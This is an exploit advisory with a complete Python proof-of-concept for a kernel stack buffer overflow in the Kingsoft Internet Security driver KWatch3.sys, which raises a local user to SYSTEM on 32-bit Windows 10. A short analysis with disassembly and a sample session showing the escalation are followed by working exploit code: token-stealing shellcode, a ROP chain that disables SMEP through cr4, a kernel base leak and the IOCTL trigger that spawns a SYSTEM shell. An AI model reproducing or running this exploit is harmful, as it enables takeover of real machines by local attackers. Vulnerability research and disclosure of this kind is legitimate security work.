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Kingsoft Antivirus/Internet Security 9+ Kernel Stack Buffer Overflow Privilege Escalation Vulnerability
Anti-Virus: http://www.kingsoft.co/downloads/kav/KAV100720_ENU_DOWN_331020_10.rar
Internet Security: http://www.kingsoft.co/downloads/kis/kis.rar
Summary:
========
This vulnerability allows local attackers to escalate privileges on vulnerable installations of Kingsoft Internet Security. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaws exists within the processing of IOCTL 0x80030004 or 0x80030008 by the KWatch3.sys (internet security) kernel driver. The issue lies in the failure to properly validate user-supplied data which can result in a kernel stack buffer overflow. An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel.
Vulnerability Analysis:
=======================
I am only going to detail a single bug since both ioctl handlers are *almost* identical. Inside the KWatch3.sys driver, we can see the following handler code for the first ioctl code (0x80030004)
; jumptable 000117C1 case 0
.text:000117C8 loc_117C8:; CODE XREF: sub_11790+31
.text:000117C8
.text:000117C8 pushebx ; our input buffer size
.text:000117C9 lea ecx, [esp+58h+var_40] ; this is a fixed size stack buffer of 0x40
.text:000117CD pushedi ; our input buffer
.text:000117CE pushecx ; char *
.text:000117CF callstrncpy ; stack buffer overflow
.text:000117D4 add esp, 0Ch
.text:000117D7 lea edx, [esp+54h+var_40]
.text:000117DB pushedx ; char *
.text:000117DC mov [esp+ebx+58h+var_40], 0
.text:000117E1 callsub_167B0
.text:000117E6 pop edi
.text:000117E7 mov esi, eax
.text:000117E9 pop esi
.text:000117EA pop ebp
.text:000117EB pop ebx
.text:000117EC add esp, 44h
.text:000117EF retn8
Additional bugs:
~~~~~~~~~~~~~~~~
Out-of-Bounds Read vulnerabilities exist in the following ioctls as well:
- 0x8003001c
- 0x80030020
- 0x80030024
- 0x80030028
There is more, but I gave up. This happens because there are several functions that contain code like this:
.text:000172A0 loc_172A0: ; CODE XREF: sub_17280+29
.text:000172A0 mov cx, [eax]; @eax is our input buffer
.text:000172A3 add eax, 2
.text:000172A6 testcx, cx
.text:000172A9 jnz short loc_172A0; jump if there is no null word
So all we have to do is set our input buffer to contain no null word values. Note that these only trigger a bug check if special pool is enabled and dont look exploitable (no leaking in the output buffer)
Example:
========
c:\Users\Guest\Desktop>whoami
victim\guest
c:\Users\Guest\Desktop>poc.py
--[ Kingsoft Internet Security Kernel Stack Overflow EoP Exploit ]
Steven Seeley (mr_me) of Source Incite
(+) enumerating kernel base address...
(+) found nt base at 0x8147e000
(+) allocating shellcode @ 0x24242424
(+) sending stack overflow...
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.
c:\Users\Guest\Desktop>whoami
nt authority\system
c:\Users\Guest\Desktop>
References:
===========
- https://sizzop.github.io/2016/09/13/kernel-hacking-with-hevd-part-5.html
"""
import sys
from ctypes import *
from time import sleep
from ctypes.wintypes import *
import struct
import os
from random import choice
kernel32 = windll.kernel32
ntdll = windll.ntdll
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
STATUS_SUCCESS = 0
def get_ioctl():
return choice([0x80030004, 0x80030008])
def alloc_shellcode(base, input_size):
"""
allocates some shellcode
"""
print "(+) allocating shellcode @ 0x%x" % base
baseadd = c_int(base)
size= c_int(input_size)
# --[ setup]
input= struct.pack("<I", 0x000506f8)# bypass smep
# --[ setup]
input += "\x60" # pushad
input += "\x64\xa1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD_OFFSET]
# I have to do it like this because windows is a little special
# this just gets the EPROCESS. Windows 7 is 0x50, now its 0x80.
input += "\x8d\x40\x70" # lea eax, [eax+0x70];
input += "\x8b\x40\x10" # mov eax, [eax+0x10];
input += "\x89\xc1" # mov ecx, eax (Current _EPROCESS structure)
# win 10 rs2 x86 TOKEN_OFFSET = 0xfc
# win 07 sp1 x86 TOKEN_OFFSET = 0xf8
input += "\x8B\x98\xfc\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET]
# --[ copy system PID token]
input += "\xba\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID)
input += "\x8b\x80\xb8\x00\x00\x00" # mov eax, [eax + FLINK_OFFSET] <-|
input += "\x2d\xb8\x00\x00\x00" # sub eax, FLINK_OFFSET |
input += "\x39\x90\xb4\x00\x00\x00" # cmp [eax + PID_OFFSET], edx |
input += "\x75\xed" # jnz ->|
# win 10 rs2 x86 TOKEN_OFFSET = 0xfc
# win 07 sp1 x86 TOKEN_OFFSET = 0xf8
input += "\x8b\x90\xfc\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET]
input += "\x89\x91\xfc\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx
# --[ recover]
input += "\x61" # popad
input += "\x83\xc4\x0c" # adjust the stack by 0xc
input += "\x31\xc0" # return NTSTATUS = STATUS_SUCCESS
input += "\xc3" # ret
# filler
input += "\x43" * (input_size-len(input))
ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong,
POINTER(c_int), c_int, c_int]
dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0,
byref(size),
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE)
if dwStatus != STATUS_SUCCESS:
print "(-) Error while allocating memory: %s" % hex(dwStatus + 0xffffffff)
return False
written = c_ulong()
write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written))
if write == 0:
print "(-) Error while writing our input buffer memory: %s" % write
return False
return True
def alloc(base, input_size, ip):
baseadd = c_int(base)
size = c_int(input_size)
input = "\x44" * 0x40 # offset to ip
# start rop chain
input += struct.pack("<I", nt + 0x51976f) # pop ecx; ret
input += struct.pack("<I", 0x75757575)# junk
input += struct.pack("<I", 0x76767676)# junk
input += struct.pack("<I", ip)# load a ptr to 0x506f8
input += struct.pack("<I", nt + 0x04664f) # mov eax, [ecx]; ret
input += struct.pack("<I", nt + 0x22f2da) # mov cr4,eax; ret
input += struct.pack("<I", ip + 0x4)# &shellcode
# filler
input += "\x43" * (input_size-len(input))
ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong,
POINTER(c_int), c_int, c_int]
dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0,
byref(size),
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE)
if dwStatus != STATUS_SUCCESS:
print "(-) error while allocating memory: %s" % hex(dwStatus + 0xffffffff)
sys.exit()
written = c_ulong()
write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written))
if write == 0:
print "(-) error while writing our input buffer memory: %s" % write
sys.exit()
def we_can_trigger_overflow():
GENERIC_READ= 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
IOCTL_VULN= get_ioctl()
DEVICE_NAME = "\\\\.\\KWatch3"
dwReturn= c_ulong()
driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
ip= 0x24242424
inputbuffer = 0x41414141
inputbuffer_size = 0x60
outputbuffer_size = 0x1000
outputbuffer= 0x20000000
alloc(inputbuffer, inputbuffer_size, ip)
alloc_shellcode(ip, 0x100)
alloc(outputbuffer, 0x100, ip)
IoStatusBlock = c_ulong()
if driver_handle:
print "(+) sending stack overflow..."
dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle,
None,
None,
None,
byref(IoStatusBlock),
IOCTL_VULN,
inputbuffer,
inputbuffer_size,
outputbuffer,
outputbuffer_size
)
return True
return False
def we_can_leak_the_base():
"""
Get kernel base address.
This function uses psapi!EnumDeviceDrivers which is only callable
from a non-restricted caller (medium integrity or higher). Also the
assumption is made that the kernel is the first array element returned.
"""
global nt
print "(+) enumerating kernel base address..."
c_ulong_array = c_ulong * 1024
lpImageBase = c_ulong_array()
szDriver= c_ulong_array()
cb = sizeof(lpImageBase)
lpcbNeeded = c_long()
res = windll.psapi.EnumDeviceDrivers(byref(lpImageBase),
sizeof(lpImageBase),
byref(lpcbNeeded))
if not res:
print "(-) unable to get kernel base: " + FormatError()
sys.exit(-1)
# nt is the first one
nt = lpImageBase[0]
# find KWatch3, for if it doesnt exist, we can't exploit it now...
for driver in lpImageBase:
lpBaseName = create_string_buffer("", MAX_PATH)
GetDeviceDriverBaseName = windll.psapi.GetDeviceDriverBaseNameA
GetDeviceDriverBaseName.argtypes = [LPVOID, LPSTR, DWORD]
if(GetDeviceDriverBaseName(driver, lpBaseName, MAX_PATH)):
if lpBaseName.value == "KWatch3.sys":
return True
return False
def main():
print "\n\t--[ Kingsoft Internet Security Kernel Stack Overflow EoP Exploit ]"
print "\t Steven Seeley (mr_me) of Source Incite\r\n"
if release() != "10" or architecture()[0] != "32bit":
print "(-) although this exploit may work on this system,"
print "it was only designed for Windows 10 x86."
sys.exit(-1)
if we_can_leak_the_base():
print "(+) found nt base at 0x%08x" % (nt)
if we_can_trigger_overflow():
os.system("cmd.exe")
else:
print "(-) it appears that kingsoft Internet Security is not vulnerable!"
sys.exit(-1)
else:
print "(-) it appears that kingsoft Internet Security is not installed!"
sys.exit(-1)
if __name__ == '__main__':
main()
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